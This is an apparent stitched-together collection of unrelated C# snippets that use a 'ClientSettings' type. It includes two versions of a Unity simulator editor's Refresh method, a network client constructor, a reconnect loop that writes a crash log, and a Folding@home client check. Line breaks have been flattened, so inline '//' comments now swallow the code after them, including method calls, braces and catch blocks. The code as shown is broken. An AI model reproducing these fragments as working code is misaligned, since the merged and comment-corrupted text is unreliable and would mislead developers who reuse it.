async void Refresh() { if (EditorApplication.isPlayingOrWillChangePlaymode) { return; } try { updating = true; ErrorMessage = ""; Simulator.Web.Config.ParseConfigFile(); if (DeveloperSimulation.Cluster == null) { DeveloperSimulation.Cluster = new ClusterData() { Name = "DeveloperSettingsDummy", Instances = new[] { new InstanceData { HostName = "dummy.developer.settings", Ip = new [] { "127.0.0.1" }, MacAddress = "00:00:00:00:00:00" } } }; } if (string.IsNullOrEmpty(Config.CloudProxy)) { API = new CloudAPI(new Uri(Config.CloudUrl), cookieContainer); } else { API = new CloudAPI(new Uri(Config.CloudUrl), cookieContainer, new Uri(Config.CloudProxy)); } DatabaseManager.Init(); var csservice = new Simulator.Database.Services.ClientSettingsService(); ClientSettings cls = csservice.GetOrMake(); Config.SimID = cls.simid; if (String.IsNullOrEmpty(Config.CloudUrl)) { ErrorMessage = "Cloud URL not set"; return; } if (String.IsNullOrEmpty(Config.SimID)) { ErrorMessage = "Simulator not linked"; return; } if (cookieContainer.GetCookies(new Uri(Config.CloudUrl)).Count == 0) { authenticated = false; } if (authenticated) { var ret = await API.GetLibrary <VehicleDetailData>(); CloudVehicles = ret.ToList(); } else { CloudVehicles = new List <VehicleDetailData>(); } string[] guids = AssetDatabase.FindAssets("t:Prefab", new[] { "Assets/External/Vehicles" }); LocalVehicles = guids.Select(g => AssetDatabase.GUIDToAssetPath(g)).ToList(); string idOrPath = null; if (DeveloperSimulation.Vehicles != null) // get previously selected thing { // we abuse VehicleData.Id to store the prefab path idOrPath = DeveloperSimulation.Vehicles[0].Id; } if (idOrPath != null) { // find index of previously selected thing in new dataset var foundIndex = VehicleChoices.FindIndex(v => v.cloudIdOrPrefabPath == idOrPath && (v.IsLocal || v.configId == Settings.VehicleConfigId)); SetVehicleFromSelectionIndex(foundIndex); await UpdateCloudVehicleDetails(); } DeveloperSimulation.NPCs = Config.NPCVehicles.Values.ToArray(); // TODO get from cloud and refresh config.cs LoadExternalAssets() } catch (CloudAPI.NoSuccessException ex) { if (ex.StatusCode == System.Net.HttpStatusCode.BadRequest) { authenticated = false; ClearCookie(); } } catch (Exception ex) { Debug.LogException(ex); ErrorMessage = ex.Message; if (ex.InnerException != null) { ErrorMessage += "\n" + ex.InnerException.Message; } } finally { updating = false; Repaint(); } }
public static string CachedQueueFileName(this ClientSettings settings) { return(settings == null ? String.Empty : String.Format(CultureInfo.InvariantCulture, "{0}-{1}", settings.Name, Constants.QueueFileName)); }
/// <summary> /// Initializes a new instance of the <see cref="NetworkClient"/> class. /// </summary> public NetworkClient(ClientSettings settings = null) { this.Settings = settings ?? new ClientSettings(); }
internal static ClientSettings DeepClone(this ClientSettings value) { return(ProtoBuf.Serializer.DeepClone(value)); }
static void cs_Disconnected(ClientSettings cs) { cs.Close(); }
async void Refresh() { if (EditorApplication.isPlayingOrWillChangePlaymode) { return; } try { updating = true; ErrorMessage = ""; Simulator.Web.Config.ParseConfigFile(); DatabaseManager.Init(); var csservice = new Simulator.Database.Services.ClientSettingsService(); ClientSettings cls = csservice.GetOrMake(); Config.SimID = cls.simid; if (String.IsNullOrEmpty(Config.CloudUrl)) { ErrorMessage = "Cloud URL not set"; return; } if (String.IsNullOrEmpty(Config.SimID)) { ErrorMessage = "Simulator not linked"; return; } if (API != null) { API.Disconnect(); } if (string.IsNullOrEmpty(Config.CloudProxy)) { API = new CloudAPI(new Uri(Config.CloudUrl), Config.SimID); } else { API = new CloudAPI(new Uri(Config.CloudUrl), new Uri(Config.CloudProxy), Config.SimID); } var simInfo = CloudAPI.GetInfo(); var reader = await API.Connect(simInfo); await API.EnsureConnectSuccess(); var ret = await API.GetLibrary<VehicleDetailData>(); CloudVehicles = ret.ToList(); string[] guids = AssetDatabase.FindAssets("t:Prefab", new[] { "Assets/External/Vehicles" }); LocalVehicles = guids.Select(g => AssetDatabase.GUIDToAssetPath(g)).ToList(); string idOrPath = null; if (DeveloperSimulation.Vehicles != null) // get previously selected thing { // we abuse VehicleData.Id to store the prefab path idOrPath = DeveloperSimulation.Vehicles[0].Id; } if (idOrPath != null) { // find index of previously selected thing in new dataset var vehicleChoices = VehicleChoices; var selected = vehicleChoices.FindIndex(v => v.idOrPath == idOrPath); SetVehicleFromSelectionIndex(vehicleChoices, selected); await UpdateCloudVehicleDetails(); } DeveloperSimulation.NPCs = Config.NPCVehicles.Values.ToArray(); // TODO get from cloud and refresh config.cs LoadExternalAssets() } catch (Exception ex) { Debug.LogException(ex); ErrorMessage = ex.Message; if (ex.InnerException != null) { ErrorMessage += "\n" + ex.InnerException.Message; } API.Disconnect(); } finally { updating = false; Repaint(); } }
public QueueClientContext(IQueueClient queueClient, Uri inputAddress, ClientSettings settings) { _queueClient = queueClient; _settings = settings; InputAddress = inputAddress; }
public ServiceCommon(IOptions <ClientSettings> options, ILogger logger, IPasswordChangeProvider passwordChangeProvider) { _options = options.Value; _logger = logger; _passwordChangeProvider = passwordChangeProvider; }
public void connect(ClientSettings settings) { bool allow_reconnect = false; int reconnect_attempts = MAX_RECONNECT_ATTEMPTS; do { allow_reconnect = false; try { //Run the connection loop then determine if a reconnect attempt should be made if (connectionLoop(settings)) { reconnect_attempts = 0; allow_reconnect = settings.autoReconnect && !intentionalConnectionEnd; } else allow_reconnect = settings.autoReconnect && !intentionalConnectionEnd && reconnect_attempts < MAX_RECONNECT_ATTEMPTS; } catch (Exception e) { //Write an error log TextWriter writer = File.CreateText("KLFClientlog.txt"); writer.WriteLine(e.ToString()); if (threadExceptionStackTrace != null && threadExceptionStackTrace.Length > 0) { writer.Write("Stacktrace: "); writer.WriteLine(threadExceptionStackTrace); } writer.Close(); Console.ForegroundColor = ConsoleColor.Red; Console.WriteLine(); Console.WriteLine(e.ToString()); if (threadExceptionStackTrace != null && threadExceptionStackTrace.Length > 0) { Console.Write("Stacktrace: "); Console.WriteLine(threadExceptionStackTrace); } Console.WriteLine(); Console.WriteLine("Unexpected exception encountered! Crash report written to KLFClientlog.txt"); Console.WriteLine(); Console.ResetColor(); clearConnectionState(); } if (allow_reconnect) { //Attempt a reconnect after a delay Console.WriteLine("Attempting to reconnect..."); Thread.Sleep(RECONNECT_DELAY); reconnect_attempts++; } } while (allow_reconnect); }
public static bool IsFahClient(this ClientSettings settings) { return(settings != null && settings.ClientType == ClientType.FahClient); }